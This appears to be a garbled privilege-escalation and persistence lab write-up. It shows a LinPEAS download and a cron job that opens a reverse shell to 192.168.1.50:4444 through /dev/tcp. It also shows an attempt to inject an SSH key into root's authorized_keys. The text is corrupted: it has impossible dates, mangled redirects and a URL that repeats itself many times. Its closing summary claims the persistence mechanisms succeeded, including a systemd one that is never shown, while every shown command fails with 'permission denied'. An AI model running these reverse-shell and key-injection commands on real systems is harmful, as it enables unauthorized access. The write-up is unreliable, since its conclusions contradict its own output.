3: Privilege Escalation and Persistence Lab

LinPEAS Implementation

Tools: LinPEAS, Meterpreter, Custom exploits

Kali Linux Commands

```
** sign https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
audo python3 -m http.server 88
-7025-90-12 12:10:55- https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
Resolving github.com (github.com) ... 20.207.73.82
Connecting to github.com (github.com/peass-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng/PEASS-ng
```

Privilege Escalation Log

Task ID	Technique	Target IP	Status	Outcome
010	SUID Exploit	192.168.1.150	Success	Root Shell

Persistence Implementation

```
(kali@ kali)-[~]
$ echo '* * * * * /bin/bash -c "bash -i >6 /dev/tcp/192.168.1.50/4444 0>61"' >> /etc/crontab
zsh: permission denied: /etc/crontab

[kali@ kali)-[~]
$ sudo echo '* * * * * * /bin/bash -c "bash -i >6 /dev/tcp/192.168.1.50/4444 0>61"' >> /etc/crontab
zsh: permission denied: /etc/crontab

[kali@ kali)-[~]
$ mkdir -p /root/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7...' >> /root/.ssh/authorized_keys
mkdir: cannot create directory '/root': Permission denied
zsh: permission denied: /root/.ssh/authorized_keys

[kali@ kali)-[~]
$ mkdir -p /root/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7...' >> /root/.ssh/authorized_keys
mkdir: cannot create directory '/root': Permission denied
zsh: permission denied: /root/.ssh/authorized_keys
```

Summary: Established multiple persistence mechanisms including malicious cron jobs for automated reverse shells, SSH key injection for legitimate access, and systemd service creation for system-level persistence across reboots.